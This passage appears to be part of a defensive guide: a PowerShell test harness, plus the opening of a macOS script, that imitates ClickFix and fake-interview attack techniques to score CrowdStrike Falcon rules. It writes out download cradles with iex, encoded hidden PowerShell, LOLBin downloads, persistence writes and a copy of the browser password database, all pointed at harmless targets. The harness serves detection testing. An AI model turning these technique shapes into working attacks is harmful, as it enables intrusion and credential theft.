Points are weighted by how much each technique matters to this attack chain. A rule that is meant to block earns its full weight when the test is prevented and half when it is only detected, because a detection on a paste and run attack is an alert about a laptop that is already compromised. A rule that is meant to detect earns its full weight either way. The grade bands are A from 90, B from 75, C from 60 and D from 40, with anything below 40 an F. A few tests are marked critical: the Run dialog downloader, the download cradle and the remote access tool on Windows, and the shell download, the fake password prompt and LaunchAgent persistence on macOS. Missing any of those caps the grade at D however well everything else went, because a laptop that lets a fake password prompt through should not get a passing grade for catching bitsadmin.

The harness also runs a set of control tests that represent ordinary work: a PowerShell script downloading a file, certutil hashing a local file, scheduled tasks being listed, curl downloading into the home folder, a harmless AppleScript, and Node running from where it was installed. These are not scored, but they must succeed, because a rule set that blocks normal work is broken in a different way and will be switched off by the first frustrated user. If any control is stopped, the scorecard warns you not to trust the rest of the result and puts that at the top of the fix list. I would grow the controls over time with the workflows your own staff and developers actually depend on.

You will not find the EICAR test file in here. It proves that a scanner recognises a known test string rather than that behaviour is caught, Falcon is not built around it, and administrators have long reported that it does not trigger Falcon at all. If you want a pure sensor health check alongside the harness, CrowdStrike support can supply its own test samples.

How you run it matters. Use a dedicated test machine with no real credentials on it, because two of the tests copy the browser password database to find out whether that theft is noticed (the copy is deleted immediately). Run as a standard user rather than an administrator, and put the machine in a host group where the custom IOAs are active but the automatic containment workflow from section 10 is switched off; otherwise the first detection will cut the machine off and the rest of the run will tell you nothing. Once the score is where you want it, run it one final time with containment switched on and confirm that the machine is isolated, which proves the workflow end to end.

13.1 Windows test set

Save the script and run it from a PowerShell window with powershell -ExecutionPolicy Bypass -File .\Test-EdrInterviewLures.ps1. After checking the console, rerun it with the evidence, for example -Prevented W01,W03 -Detected W02 -Reviewed. The first test needs its parent process to be Explorer, exactly as it would be after a paste into the Run dialog, so the script launches it through Explorer’s ShellWindows COM interface; some Falcon configurations flag that launch method on its own, which is fine. If the interface is unavailable, the script prints the command and asks you to paste it into Win and R yourself, which is in any case the most faithful version of the test. The msiexec, regsvr32 and rundll32 tests point at files that do not exist, so the endpoint cannot tell whether they were stopped and they always rely on console evidence; rundll32 may flash an error dialog, which the script closes. The WMIC test only runs where WMIC is still installed, the Node tests only run where Node is installed, and the browser password test only runs where a Chrome or Edge profile exists.

cat > Test-EdrInterviewLures.ps1 << 'EOF'
<#
  Test-EdrInterviewLures.ps1
  Harmless test harness and scorecard for the "Interview Lures and ClickFix"
  CrowdStrike Falcon rule group on Windows.

  Each test imitates the shape of one technique without doing anything harmful:
  downloads fetch example.com and discard it, the "remote access tool" is a
  renamed copy of hostname.exe, and the only files written are small text
  markers that are removed at the end. Control tests run ordinary activity that
  must keep working.

  The endpoint can only see whether a test finished or was stopped. Credit
  needs evidence from Falcon, so the workflow is:
    1. Run the script. Everything starts as INCONCLUSIVE.
    2. Search Falcon for EDRTEST on this host and note which tests were
       prevented and which were only detected.
    3. Rerun with that evidence, for example:
       .\Test-EdrInterviewLures.ps1 -Prevented W01,W03 -Detected W02 -Reviewed
       -Reviewed means you checked the console, so anything without evidence
       is scored as MISSED.

  Run on a TEST machine with no real credentials on it, as a standard user,
  in a host group where the rules are active but automatic containment is off.
  The script stops if the Falcon sensor is not running (override with -Force).
#>
param(
    [string]   $Url       = 'https://example.com/',
    [string]   $RawIp     = '1.1.1.1',
    [int]      $OddPort   = 8443,
    [string[]] $Prevented = @(),
    [string[]] $Detected  = @(),
    [switch]   $Reviewed,
    [switch]   $Force
)

$ErrorActionPreference = 'SilentlyContinue'
function ConvertTo-IdList($x) { @($x -split '[,\s]+' | Where-Object { $_ } | ForEach-Object { $_.ToUpper() }) }
$Prevented = ConvertTo-IdList $Prevented
$Detected  = ConvertTo-IdList $Detected

$RunId   = Get-Date -Format 'yyyyMMdd-HHmmss'
$Work    = Join-Path $env:TEMP "EDRTEST-$RunId"
$DlDir   = Join-Path $env:USERPROFILE 'Downloads\EDRTEST'
$TaskDir = Join-Path $env:APPDATA 'EDRTEST'
$Startup = [Environment]::GetFolderPath('Startup')
$Csv     = Join-Path $env:USERPROFILE "EDRTEST-results-$RunId.csv"
New-Item -ItemType Directory -Path $Work, $DlDir -Force | Out-Null
$Results = New-Object System.Collections.Generic.List[object]

# Test catalogue: what each test proves, what should happen, weight, criticality and the fix.
$ControlFix = 'Ordinary activity is being stopped. Find which rule or setting fired in Falcon and narrow it before trusting any other result.'
$Catalog = [ordered]@{
    C01 = @{ Name = 'Control: ordinary PowerShell command'; Expected = 'Allow'; Weight = 0; Critical = $false; Fix = $ControlFix }
    C02 = @{ Name = 'Control: PowerShell script downloads a file'; Expected = 'Allow'; Weight = 0; Critical = $false; Fix = $ControlFix }
    C03 = @{ Name = 'Control: certutil hashes a local file'; Expected = 'Allow'; Weight = 0; Critical = $false; Fix = $ControlFix }
    C04 = @{ Name = 'Control: node from its installed location'; Expected = 'Allow'; Weight = 0; Critical = $false; Fix = $ControlFix }
    C05 = @{ Name = 'Control: schtasks lists tasks'; Expected = 'Allow'; Weight = 0; Critical = $false; Fix = $ControlFix }
    W01 = @{ Name = 'Run dialog launches a downloader'; Expected = 'Block'; Weight = 15; Critical = $true
             Fix  = 'Add the "Run dialog launches a downloader" IOA in Kill mode (section 3) and disable the Run dialog for non IT staff by Group Policy (section 11).' }
    W02 = @{ Name = 'Hidden, encoded PowerShell'; Expected = 'Detect'; Weight = 8; Critical = $false
             Fix  = 'Turn on Suspicious Scripts and Commands and Script Based Execution Monitoring (section 2), then add the "Hidden or encoded PowerShell" IOA (section 3).' }
    W03 = @{ Name = 'PowerShell download cradle with iex'; Expected = 'Block'; Weight = 12; Critical = $true
             Fix  = 'Add the "PowerShell download cradle" IOA in Kill mode (section 3) and enable Interpreter Only in the prevention policy (section 2).' }
    W04 = @{ Name = 'mshta runs inline script'; Expected = 'Block'; Weight = 8; Critical = $false
             Fix  = 'Add the "mshta runs remote or inline script" IOA in Kill mode (section 5); mshta has almost no legitimate use on staff laptops.' }
    W05 = @{ Name = 'certutil used as a downloader'; Expected = 'Block'; Weight = 6; Critical = $false
             Fix  = 'Add the "certutil as a downloader" IOA in Kill mode (section 5).' }
    W06 = @{ Name = 'bitsadmin transfer'; Expected = 'Block'; Weight = 5; Critical = $false
             Fix  = 'Add the "bitsadmin transfer" IOA in Kill mode (section 5).' }
    W07 = @{ Name = 'msiexec installing from a URL'; Expected = 'Block'; Weight = 6; Critical = $false
             Fix  = 'Add the "msiexec installing from a URL" IOA in Kill mode (section 5) and remove local admin rights (section 11).' }
    W08 = @{ Name = 'regsvr32 remote scriptlet'; Expected = 'Block'; Weight = 5; Critical = $false
             Fix  = 'Add the "regsvr32 remote scriptlet" IOA in Kill mode (section 5).' }
    W09 = @{ Name = 'Interpreter running from Downloads'; Expected = 'Block'; Weight = 6; Critical = $false
             Fix  = 'Add the "Interpreter running from user space" IOA (section 6) and use WDAC or AppLocker to stop binaries running from user writable folders (section 11).' }
    W10 = @{ Name = 'Script host running a downloaded script'; Expected = 'Block'; Weight = 8; Critical = $false
             Fix  = 'Add the "Script host running downloaded script" IOA in Kill mode (section 6), and disable Windows Script Host for staff who do not need it.' }
    W11 = @{ Name = 'Remote access tool name outside IT'; Expected = 'Block'; Weight = 8; Critical = $true
             Fix  = 'Add the "Remote access tool outside IT" IOA in Kill mode, scoped so only the approved tool is allowed for the IT support group (section 7).' }
    W12 = @{ Name = 'Startup folder written by PowerShell'; Expected = 'Block'; Weight = 6; Critical = $false
             Fix  = 'Add the "Startup folder written by a script host" file creation IOA in Block mode (section 8).' }
    W13 = @{ Name = 'Scheduled task created by a script'; Expected = 'Detect'; Weight = 4; Critical = $false
             Fix  = 'Add the "Scheduled task created by a script" IOA (section 8).' }
    W14 = @{ Name = 'PowerShell to raw IP on an unusual port'; Expected = 'Detect'; Weight = 3; Critical = $false
             Fix  = 'Add the "Interpreter connects on an unusual port" network IOA, combined with destination reputation, and load campaign infrastructure into IOC management (section 9).' }
    W15 = @{ Name = 'Headless conhost launches a downloader'; Expected = 'Block'; Weight = 8; Critical = $false
             Fix  = 'Add the "Headless console launches a downloader" IOA in Kill mode (section 3).' }
    W16 = @{ Name = 'curl.exe downloads into user space'; Expected = 'Detect'; Weight = 5; Critical = $false
             Fix  = 'Add the "curl downloads into a user writable folder" IOA (section 5).' }
    W17 = @{ Name = 'rundll32 loads a DLL from Temp'; Expected = 'Detect'; Weight = 5; Critical = $false
             Fix  = 'Add the "rundll32 from a user writable path" IOA and turn on JavaScript via Rundll32 (`javascript_via_rundll32`) in the prevention policy (sections 2 and 5).' }
    W18 = @{ Name = 'Download cradle hidden inside a script file'; Expected = 'Detect'; Weight = 10; Critical = $false
             Fix  = 'No command line rule can see inside a script file. Turn on Script Based Execution Monitoring, Interpreter Only, Engine (Full Visibility) and Suspicious Scripts and Commands (`script_based_execution_monitoring`, `interpreter_only`, `engine_full_visibility`, `suspicious_scripts_and_commands`; section 2).' }
    W19 = @{ Name = 'certutil decodes a base64 payload'; Expected = 'Block'; Weight = 4; Critical = $false
             Fix  = 'The "certutil as a downloader" IOA (section 5) should include -decode; check the regex matches.' }
    W20 = @{ Name = 'Non browser process copies browser passwords'; Expected = 'Detect'; Weight = 10; Critical = $false
             Fix  = 'Falcon has no custom rule type for file reads, so this relies on built in protection: set the machine learning sliders to Aggressive, turn on Prevent Suspicious Processes and Additional User Mode Data (`prevent_suspicious_processes`, `additional_user_mode_data`; section 2), and stop browsers storing passwords with the PasswordManagerEnabled browser policy (section 10).' }
    W21 = @{ Name = 'Run key persistence via reg.exe'; Expected = 'Detect'; Weight = 6; Critical = $false
             Fix  = 'Add the "Run key written from the command line" IOA (section 8) and turn on Suspicious Registry Operations (`suspicious_registry_operations`; section 2).' }
    W22 = @{ Name = 'WMIC creates a process'; Expected = 'Detect'; Weight = 3; Critical = $false
             Fix  = 'Add the "WMIC process creation" IOA (section 5), or remove WMIC entirely as Microsoft now does by default.' }
    W23 = @{ Name = 'Developer tool spawns a download command'; Expected = 'Detect'; Weight = 8; Critical = $false
             Fix  = 'Add the "Developer tool spawns a download command" IOA (section 6) and set task.allowAutomaticTasks to off in managed VS Code settings (section 6).' }
}

# Observed is what the endpoint saw: COMPLETED, STOPPED, UNKNOWN or NOTRUN.
# Outcome combines that with the Falcon evidence passed on the command line.
function Add-Result {
    param([string]$Id, [string]$Observed, [string]$Detail = '')
    $t = $Catalog[$Id]
    if ($t.Expected -eq 'Allow') {
        $Outcome = switch ($Observed) { 'COMPLETED' { 'PASS' } 'NOTRUN' { 'NOT RUN' } default { 'FAIL' } }
    } elseif ($Observed -eq 'NOTRUN') {
        $Outcome = 'NOT RUN'
    } elseif ($Prevented -contains $Id) {
        if ($Observed -eq 'COMPLETED') { $Outcome = 'INCONCLUSIVE'; $Detail = "console says prevented but the test finished. $Detail" }
        else { $Outcome = 'PREVENTED' }
    } elseif ($Detected -contains $Id) {
        $Outcome = 'DETECTED'
    } elseif ($Reviewed) {
        if ($Observed -eq 'STOPPED') { $Outcome = 'INCONCLUSIVE'; $Detail = "stopped, but Falcon recorded nothing. $Detail" }
        else { $Outcome = 'MISSED' }
    } else {
        $Outcome = 'INCONCLUSIVE'
    }

    $DetectShare = if ($t.Expected -eq 'Block') { 0.5 } else { 1.0 }
    $Points = switch ($Outcome) { 'PREVENTED' { $t.Weight } 'DETECTED' { $t.Weight * $DetectShare } default { 0 } }
    $Ceiling = if ($Outcome -eq 'INCONCLUSIVE') {
        if ($Observed -eq 'COMPLETED') { $t.Weight * $DetectShare } else { $t.Weight }
    } else { $Points }

    $Results.Add([pscustomobject]@{
        Time = Get-Date -Format 'HH:mm:ss'; Id = $Id; Test = $t.Name; Expected = $t.Expected
        Observed = $Observed; Outcome = $Outcome; Points = $Points; Ceiling = $Ceiling
        Weight = $t.Weight; Critical = $t.Critical; Detail = $Detail.Trim(); Fix = $t.Fix
    })
    $Colour = switch ($Outcome) {
        'PASS' { 'Green' } 'PREVENTED' { 'Green' } 'DETECTED' { 'Cyan' }
        'FAIL' { 'Red' } 'MISSED' { 'Red' } 'INCONCLUSIVE' { 'Yellow' } default { 'DarkGray' }
    }
    Write-Host ('{0}  {1,-46} {2,-7} {3,-10} {4}' -f $Id, $t.Name, $t.Expected, $Observed, $Outcome) -ForegroundColor $Colour
}

function Start-Quiet {
    param([string]$File, [string]$Arguments)
    Start-Process -FilePath $File -ArgumentList $Arguments -WindowStyle Hidden -Wait
}

# Runs an action that writes $env:EDRTEST_MARKER only if it was not stopped.
function Invoke-MarkerTest {
    param([string]$Id, [scriptblock]$Action, [string]$Marker = '', [int]$Wait = 3)
    if (-not $Marker) { $Marker = Join-Path $Work "$Id.txt" }
    Remove-Item $Marker -Force
    $env:EDRTEST_MARKER = $Marker
    & $Action
    Start-Sleep -Seconds $Wait
    $ran = (Test-Path $Marker) -and ((Get-Item $Marker).Length -gt 0)
    Add-Result $Id $(if ($ran) { 'COMPLETED' } else { 'STOPPED' })
}

# Runs a process whose result can only be judged in the Falcon console.
function Invoke-ConsoleTest {
    param([string]$Id, [string]$File, [string]$Arguments)
    $p = Start-Process -FilePath $File -ArgumentList $Arguments -WindowStyle Hidden -Wait -PassThru
    Add-Result $Id 'UNKNOWN' "exit code $($p.ExitCode)"
}

Write-Host "EDR interview lure test harness (Windows), run $RunId on $env:COMPUTERNAME" -ForegroundColor Cyan

# Sensor health: a broken or missing sensor makes every other result meaningless.
$sensor = Get-Service -Name 'CSAgent'
if (-not $sensor -or $sensor.Status -ne 'Running') {
    Write-Host 'The Falcon sensor (CSAgent) is not running. Fix the sensor before testing anything else.' -ForegroundColor Red
    if (-not $Force) { exit 2 }
} else {
    Write-Host "Falcon sensor is running. In Falcon, confirm $env:COMPUTERNAME is in the expected host group and prevention policy." -ForegroundColor Cyan
}
Write-Host ('{0}  {1,-46} {2,-7} {3,-10} {4}' -f 'ID ', 'Test', 'Expect', 'Observed', 'Outcome')

# Controls: ordinary activity that must keep working
Invoke-MarkerTest 'C01' {
    Start-Quiet 'powershell.exe' '-nop -c "Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-C01"'
}

$controlScript = Join-Path $Work 'edrtest-c02.ps1'
Set-Content -Path $controlScript -Value @(
    'try { Invoke-WebRequest -Uri $args[0] -OutFile $env:EDRTEST_MARKER -UseBasicParsing }'
    'catch { Set-Content -Path $env:EDRTEST_MARKER -Value "EDRTEST-C02 offline" }'
)
Invoke-MarkerTest 'C02' {
    Start-Quiet 'powershell.exe' ('-nop -ExecutionPolicy Bypass -File "{0}" {1}' -f $controlScript, $Url)
}

Invoke-MarkerTest 'C03' {
    Start-Process -FilePath 'certutil.exe' -ArgumentList ('-hashfile "{0}" SHA256' -f $controlScript) `
        -NoNewWindow -Wait -RedirectStandardOutput $env:EDRTEST_MARKER
}

$node = (Get-Command node.exe).Source
if ($node) {
    Invoke-MarkerTest 'C04' {
        Start-Quiet $node '-e "require(''fs'').writeFileSync(process.env.EDRTEST_MARKER, ''EDRTEST-C04'')"'
    }
} else {
    Add-Result 'C04' 'NOTRUN' 'node.exe not installed'
}

Invoke-MarkerTest 'C05' {
    Start-Process -FilePath 'schtasks.exe' -ArgumentList '/query /fo csv' -NoNewWindow -Wait `
        -RedirectStandardOutput $env:EDRTEST_MARKER
}

# W01 Run dialog style launch: PowerShell with a download, parented by explorer.exe
Invoke-MarkerTest 'W01' -Wait 10 -Action {
    $a = '-nop -c "try {{ iwr ''{0}'' -UseBasicParsing | Out-Null }} catch {{}}; Set-Content -Path ''{1}'' -Value EDRTEST-W01"' -f $Url, $env:EDRTEST_MARKER
    try {
        $shell = [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39'))
        $shell.Item().Document.Application.ShellExecute('powershell.exe', $a, $Work, 'open', 0)
    } catch {
        Write-Host '    Explorer launch unavailable. Press Win+R, paste the command below, press Enter:' -ForegroundColor Yellow
        Write-Host "    powershell.exe $a"
        Read-Host '    Then press Enter here to continue' | Out-Null
    }
}

# W02 Hidden window plus encoded command (benign payload writes the marker)
Invoke-MarkerTest 'W02' {
    $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W02'))
    Start-Quiet 'powershell.exe' "-nop -w hidden -enc $enc"
}

# W03 Download cradle: fetch example.com, discard it, iex a local literal
Invoke-MarkerTest 'W03' {
    $a = '-nop -c "try {{ (New-Object Net.WebClient).DownloadString(''{0}'') | Out-Null }} catch {{}}; iex ''Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W03''"' -f $Url
    Start-Quiet 'powershell.exe' $a
}

# W04 mshta inline JavaScript that only writes the marker
Invoke-MarkerTest 'W04' {
    $js = '"javascript:var s=new ActiveXObject(''WScript.Shell'');var f=new ActiveXObject(''Scripting.FileSystemObject'');var t=f.CreateTextFile(s.ExpandEnvironmentStrings(''%EDRTEST_MARKER%''));t.Write(''EDRTEST-W04'');t.Close();close();"'
    Start-Quiet 'mshta.exe' $js
}

# W05 certutil downloads example.com into the marker file
Invoke-MarkerTest 'W05' {
    Start-Quiet 'certutil.exe' ('-urlcache -f {0} "{1}"' -f $Url, $env:EDRTEST_MARKER)
    Start-Quiet 'certutil.exe' ('-urlcache {0} delete' -f $Url)
}

# W06 bitsadmin downloads example.com into the marker file
Invoke-MarkerTest 'W06' -Wait 5 -Action {
    Start-Quiet 'bitsadmin.exe' ('/transfer EDRTEST-W06 /download /priority foreground {0} "{1}"' -f $Url, $env:EDRTEST_MARKER)
}

# W07 and W08 request remote files that do not exist; judge in the console
Invoke-ConsoleTest 'W07' 'msiexec.exe' ('/i {0}EDRTEST-W07.msi /qn' -f $Url)
Invoke-ConsoleTest 'W08' 'regsvr32.exe' ('/s /n /u /i:{0}EDRTEST-W08.sct scrobj.dll' -f $Url)

# W09 Copy of node.exe running from Downloads (not run if Node is not installed)
if ($node) {
    Copy-Item $node (Join-Path $DlDir 'node.exe') -Force
    Invoke-MarkerTest 'W09' {
        Start-Quiet (Join-Path $DlDir 'node.exe') '-e "require(''fs'').writeFileSync(process.env.EDRTEST_MARKER, ''EDRTEST-W09'')"'
    }
} else {
    Add-Result 'W09' 'NOTRUN' 'node.exe not installed'
}

# W10 VBScript in Downloads that only writes the marker
$vbs = Join-Path $DlDir 'edrtest-w10.vbs'
Set-Content -Path $vbs -Encoding ASCII -Value @(
    'Set s = CreateObject("WScript.Shell")'
    'Set f = CreateObject("Scripting.FileSystemObject")'
    'Set t = f.CreateTextFile(s.ExpandEnvironmentStrings("%EDRTEST_MARKER%"))'
    't.Write "EDRTEST-W10"'
    't.Close'
)
Invoke-MarkerTest 'W10' { Start-Quiet 'wscript.exe' ('"{0}"' -f $vbs) }

# W11 hostname.exe renamed to anydesk.exe: nothing remote, just the name
$fake = Join-Path $Work 'anydesk.exe'
Copy-Item "$env:SystemRoot\System32\hostname.exe" $fake -Force
Invoke-MarkerTest 'W11' {
    Start-Process -FilePath $fake -NoNewWindow -Wait -RedirectStandardOutput $env:EDRTEST_MARKER
}

# W12 PowerShell writes a text file into the Startup folder, removed straight after
$startupFile = Join-Path $Startup 'EDRTEST-W12.txt'
Invoke-MarkerTest 'W12' -Marker $startupFile -Action {
    Start-Quiet 'powershell.exe' '-nop -c "Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W12"'
}
Remove-Item $startupFile -Force

# W13 Scheduled task pointing at a file that does not exist, deleted straight after
Start-Quiet 'schtasks.exe' ('/create /tn EDRTEST-W13 /tr "{0}" /sc once /st 23:59 /f' -f (Join-Path $TaskDir 'noop.cmd'))
schtasks.exe /query /tn EDRTEST-W13 2>$null | Out-Null
if ($LASTEXITCODE -eq 0) {
    Add-Result 'W13' 'COMPLETED'
    schtasks.exe /delete /tn EDRTEST-W13 /f 2>$null | Out-Null
} else {
    Add-Result 'W13' 'STOPPED'
}

# W14 PowerShell opens a TCP connection to a raw IP on an unusual port
Invoke-MarkerTest 'W14' -Wait 6 -Action {
    $a = '-nop -c "$c = New-Object Net.Sockets.TcpClient; try {{ $c.ConnectAsync(''{0}'', {1}).Wait(3000) | Out-Null }} catch {{}}; $c.Close(); Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W14"' -f $RawIp, $OddPort
    Start-Quiet 'powershell.exe' $a
}

# W15 conhost --headless hides the console window, a newer ClickFix trick
Invoke-MarkerTest 'W15' -Wait 5 -Action {
    $a = '--headless powershell.exe -nop -c "try {{ iwr ''{0}'' -UseBasicParsing | Out-Null }} catch {{}}; Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W15"' -f $Url
    Start-Quiet 'conhost.exe' $a
}

# W16 curl.exe saves example.com into Temp (an empty result if offline shows as INCONCLUSIVE)
Invoke-MarkerTest 'W16' {
    Start-Quiet 'curl.exe' ('-s -o "{0}" {1}?EDRTEST-W16' -f $env:EDRTEST_MARKER, $Url)
}

# W17 rundll32 asked to load a DLL from Temp that does not exist; an error dialog may flash
$p = Start-Process -FilePath 'rundll32.exe' -ArgumentList ('"{0}",EdrTest' -f (Join-Path $Work 'EDRTEST-W17.dll')) -PassThru
Start-Sleep -Seconds 4
if ($p -and -not $p.HasExited) { $p.Kill() }
Add-Result 'W17' 'UNKNOWN' 'the DLL does not exist; judge in the console'

# W18 the same cradle as W03, but inside a script file so the command line is clean
$w18 = Join-Path $DlDir 'edrtest-w18.ps1'
Set-Content -Path $w18 -Value @(
    'try { $null = (New-Object Net.WebClient).DownloadString($args[0]) } catch {}'
    'iex ''Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W18'''
)
Invoke-MarkerTest 'W18' {
    Start-Quiet 'powershell.exe' ('-nop -ExecutionPolicy Bypass -File "{0}" {1}' -f $w18, $Url)
}

# W19 certutil decodes a base64 file whose content is just the text EDRTEST-W19
$b64 = Join-Path $Work 'edrtest-w19.b64'
Set-Content -Path $b64 -Encoding ASCII -Value @(
    '-----BEGIN CERTIFICATE-----'
    [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('EDRTEST-W19'))
    '-----END CERTIFICATE-----'
)
Invoke-MarkerTest 'W19' { Start-Quiet 'certutil.exe' ('-decode "{0}" "{1}"' -f $b64, $env:EDRTEST_MARKER) }

# W20 PowerShell copies the browser password database, then the copy is deleted at once
$loginData = @(
    (Join-Path $env:LOCALAPPDATA 'Google\Chrome\User Data\Default\Login Data')
    (Join-Path $env:LOCALAPPDATA 'Microsoft\Edge\User Data\Default\Login Data')
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
if ($loginData) {
    $env:EDRTEST_SRC = $loginData
    Invoke-MarkerTest 'W20' {
        Start-Quiet 'powershell.exe' '-nop -c "Copy-Item -LiteralPath $env:EDRTEST_SRC -Destination $env:EDRTEST_MARKER # EDRTEST-W20"'
    }
    Remove-Item (Join-Path $Work 'W20.txt') -Force
    Remove-Item Env:\EDRTEST_SRC
} else {
    Add-Result 'W20' 'NOTRUN' 'no Chrome or Edge profile found'
}

# W21 reg.exe adds a Run key value pointing at a file that does not exist, deleted straight after
$runKey = 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
Start-Quiet 'reg.exe' ('add {0} /v EDRTEST-W21 /t REG_SZ /d "{1}" /f' -f $runKey, (Join-Path $TaskDir 'noop.cmd'))
reg.exe query $runKey /v EDRTEST-W21 2>$null | Out-Null
if ($LASTEXITCODE -eq 0) {
    Add-Result 'W21' 'COMPLETED'
    reg.exe delete $runKey /v EDRTEST-W21 /f 2>$null | Out-Null
} else {
    Add-Result 'W21' 'STOPPED'
}

# W22 WMIC asks WMI to start cmd.exe, which writes a marker (not run where WMIC is removed)
$wmic = (Get-Command wmic.exe).Source
if ($wmic) {
    $w22 = Join-Path $env:PUBLIC 'EDRTEST-W22.txt'
    Invoke-MarkerTest 'W22' -Marker $w22 -Wait 5 -Action {
        Start-Quiet $wmic ('process call create "cmd.exe /c echo EDRTEST-W22 > {0}"' -f $w22)
    }
    Remove-Item $w22 -Force
} else {
    Add-Result 'W22' 'NOTRUN' 'wmic.exe is not installed'
}

# W23 Node spawns PowerShell with a download, the shape of a malicious coding test or IDE task
if ($node) {
    Invoke-MarkerTest 'W23' -Wait 5 -Action {
        Start-Quiet $node ('-e "require(''child_process'').execSync(''powershell.exe -nop -c \"try {{ iwr {0} -UseBasicParsing | Out-Null }} catch {{}}; Set-Content -Path $env:EDRTEST_MARKER -Value EDRTEST-W23\"'')"' -f $Url)
    }
} else {
    Add-Result 'W23' 'NOTRUN' 'node.exe not installed'
}

# Clean up everything the tests created
Remove-Item $Work, $DlDir, $TaskDir -Recurse -Force
Remove-Item Env:\EDRTEST_MARKER
$Results | Select-Object Time, Id, Test, Expected, Observed, Outcome, Points, Ceiling, Weight, Critical, Detail |
    Export-Csv -Path $Csv -NoTypeInformation

# Scorecard
function Get-Grade([double]$s) {
    if ($s -ge 90) { 'A' } elseif ($s -ge 75) { 'B' } elseif ($s -ge 60) { 'C' } elseif ($s -ge 40) { 'D' } else { 'F' }
}
$scored   = @($Results | Where-Object { $_.Weight -gt 0 -and $_.Outcome -ne 'NOT RUN' })
$possible = [double]($scored | Measure-Object Weight -Sum).Sum
$earned   = [double]($scored | Measure-Object Points -Sum).Sum
$best     = [double]($scored | Measure-Object Ceiling -Sum).Sum
$score    = if ($possible) { [math]::Round(100 * $earned / $possible) } else { 0 }
$ceiling  = if ($possible) { [math]::Round(100 * $best / $possible) } else { 0 }
$grade    = Get-Grade $score
$critMissed = @($scored | Where-Object { $_.Critical -and $_.Outcome -eq 'MISSED' })
$capped = $false
if ($critMissed.Count -and $grade -in 'A', 'B', 'C') { $grade = 'D'; $capped = $true }

Write-Host ''
Write-Host ('EDR score: {0}/100 (grade {1}), {2} of {3} points proven by Falcon evidence' -f $score, $grade, $earned, $possible) -ForegroundColor Cyan
if ($ceiling -gt $score) {
    Write-Host ('Up to {0}/100 once every INCONCLUSIVE test is resolved in the console.' -f $ceiling) -ForegroundColor Cyan
}
if ($critMissed.Count) {
    if ($capped) { Write-Host 'Grade capped at D because critical test(s) were missed.' -ForegroundColor Red }
    Write-Host ('Critical test(s) missed: {0}' -f (($critMissed | ForEach-Object Id) -join ', ')) -ForegroundColor Red
}
$controlFails = @($Results | Where-Object { $_.Expected -eq 'Allow' -and $_.Outcome -eq 'FAIL' })
if ($controlFails.Count) {
    Write-Host 'WARNING: a control test was stopped. Ordinary activity is failing, so this score is not reliable.' -ForegroundColor Red
}

Write-Host ''
$todo = @($Results | Where-Object {
    ($_.Expected -eq 'Allow' -and $_.Outcome -eq 'FAIL') -or
    ($_.Weight -gt 0 -and $_.Outcome -in 'MISSED', 'INCONCLUSIVE') -or
    ($_.Expected -eq 'Block' -and $_.Outcome -eq 'DETECTED')
} | Sort-Object @{ Expression = { if ($_.Expected -eq 'Allow') { 1000 } else { $_.Weight - $_.Points } } } -Descending)
if ($todo.Count) {
    Write-Host 'What to fix, highest impact first:' -ForegroundColor Cyan
    $n = 0
    foreach ($r in $todo) {
        $n++
        $prefix = switch ($r.Outcome) {
            'INCONCLUSIVE' { "Search Falcon for EDRTEST-$($r.Id) and rerun with -Prevented, -Detected or -Reviewed. If Falcon has nothing: " }
            'DETECTED'     { 'Falcon saw this but did not stop it; move the rule from Detect to Kill once tuned. ' }
            default        { '' }
        }
        $label = if ($r.Expected -eq 'Allow') { 'control' } else { "$($r.Weight) pts" }
        Write-Host ('{0,2}. [{1}, {2}, {3}] {4}{5}' -f $n, $r.Id, $label, $r.Outcome, $prefix, $r.Fix)
    }
} else {
    Write-Host 'Nothing to fix: every scored test was prevented or detected as expected.' -ForegroundColor Green
}
Write-Host "Results saved to $Csv"
exit ([int](($controlFails.Count + @($Results | Where-Object Outcome -eq 'MISSED').Count) -gt 0))
EOF
chmod +x Test-EdrInterviewLures.ps1

13.2 macOS test set

Run the macOS script from Terminal in a logged in session with ./test-edr-interview-lures.sh, because the password prompt test needs to draw a dialog, which closes itself after three seconds. After checking the console, rerun it with the evidence, for example PREVENTED="M01 M04" DETECTED="M02" REVIEWED=1 ./test-edr-interview-lures.sh. The script is written for the version of bash that ships with macOS, so it needs nothing installed, and the Node and browser password tests only run if Node or a Chrome, Edge or Brave profile is present.

cat > test-edr-interview-lures.sh << 'EOF'
#!/bin/bash
# test-edr-interview-lures.sh
# Harmless test harness and scorecard for the "Interview Lures and ClickFix"
# CrowdStrike Falcon rule group on macOS.
#
# Each test imitates the shape of one technique without doing anything harmful:
# downloads fetch example.com and are discarded, the LaunchAgent is an empty
# placeholder that is never loaded, and every file written is a small text
# marker that is removed at the end. Control tests run ordinary activity that
# must keep working.
#
# The endpoint can only see whether a test finished or was stopped. Credit
# needs evidence from Falcon, so the workflow is:
#   1. Run the script. Everything starts as INCONCLUSIVE.
#   2. Search Falcon for EDRTEST on this host and note which tests were
#      prevented and which were only detected.
#   3. Rerun with that evidence, for example:
#      PREVENTED="M01 M04" DETECTED="M02" REVIEWED=1 ./test-edr-interview-lures.sh
#      REVIEWED=1 means you checked the console, so anything without evidence
#      is scored as MISSED.
#
# Run on a TEST Mac with no real credentials on it, from Terminal, as a
# standard user, in a host group where the rules are active but automatic
# containment is off. The script stops if the Falcon sensor is not running
# (override with FORCE=1).
set -u

URL="${URL:-https://example.com/}"
RAW_IP="${RAW_IP:-1.1.1.1}"
ODD_PORT="${ODD_PORT:-8443}"
PREVENTED=" $(echo "${PREVENTED:-}" | tr ',a-z' ' A-Z') "
DETECTED=" $(echo "${DETECTED:-}" | tr ',a-z' ' A-Z') "
REVIEWED="${REVIEWED:-0}"
RUN_ID="$(date +%Y%m%d-%H%M%S)"
WORK="/tmp/EDRTEST-${RUN_ID}"
HOME_WORK="$HOME/.edrtest-${RUN_ID}"
